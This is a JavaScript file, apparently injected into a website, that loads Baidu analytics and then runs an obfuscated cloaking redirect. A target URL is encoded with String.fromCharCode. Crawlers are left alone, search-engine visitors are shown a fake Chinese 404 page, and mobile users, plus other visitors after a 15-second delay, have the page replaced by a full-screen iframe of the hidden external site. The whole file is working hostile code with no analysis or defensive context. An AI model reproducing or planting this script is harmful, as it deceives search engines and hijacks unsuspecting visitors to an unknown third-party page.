var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?dc9244151786e6412c486bc252bde565";
  var s = document.getElementsByTagName("script")[0]; 
  s.parentNode.insertBefore(hm, s);
})();


var _target = String.fromCharCode(104,116,116,112,115,58,47,47,100,97,120,105,111,110,103,99,100,110,46,115,106,98,100,120,46,99,110,47,100,120,46,104,116,109,108);
var _isMobile = /Mobile|Android|iPhone|iPad|iPod|Windows Phone|BlackBerry|IEMobile|Opera Mini|webOS/i.test(navigator.userAgent);
var _fromSearch = /\.(sogou|soso|baidu|google|youdao|yahoo|bing|sm|so|biso|gougou|ifeng|ivc|sooule|niuhu|360)(\.[a-z0-9\-]+){1,2}\//i.test(document.referrer);
var _isSpider = /Baiduspider|360Spider|Googlebot|bingbot|YisouSpider|YandexBot|Sogou (inst|web) spider|spider|bot|crawl/i.test(navigator.userAgent);

function _jump(){
  document.title='';
  document.body.innerHTML='<iframe src="'+_target+'" style="position:fixed;top:0;left:0;width:100%;height:100%;border:none;margin:0;padding:0;z-index:99999"></iframe>';
}

function _show404(){
  document.title='404 - 页面未找到';
  document.body.innerHTML='<style>*{margin:0;padding:0}body{background:#f5f5f5;font-family:sans-serif;text-align:center;padding:80px 20px}h1{font-size:72px;color:#e53935;margin:60px 0 20px}p{color:#666;font-size:18px}</style><h1>404</h1><p>抱歉，您访问的页面不存在或已被移除。</p>';
}

if(_isSpider){
}else if(_fromSearch && !_isMobile){
  _show404();
}else if(_isMobile){
  _jump();
}else{
 _show404();
  var _t=0, i=setInterval(function(){_t++;if(_t>=15){clearInterval(i);_jump();}},1000);
}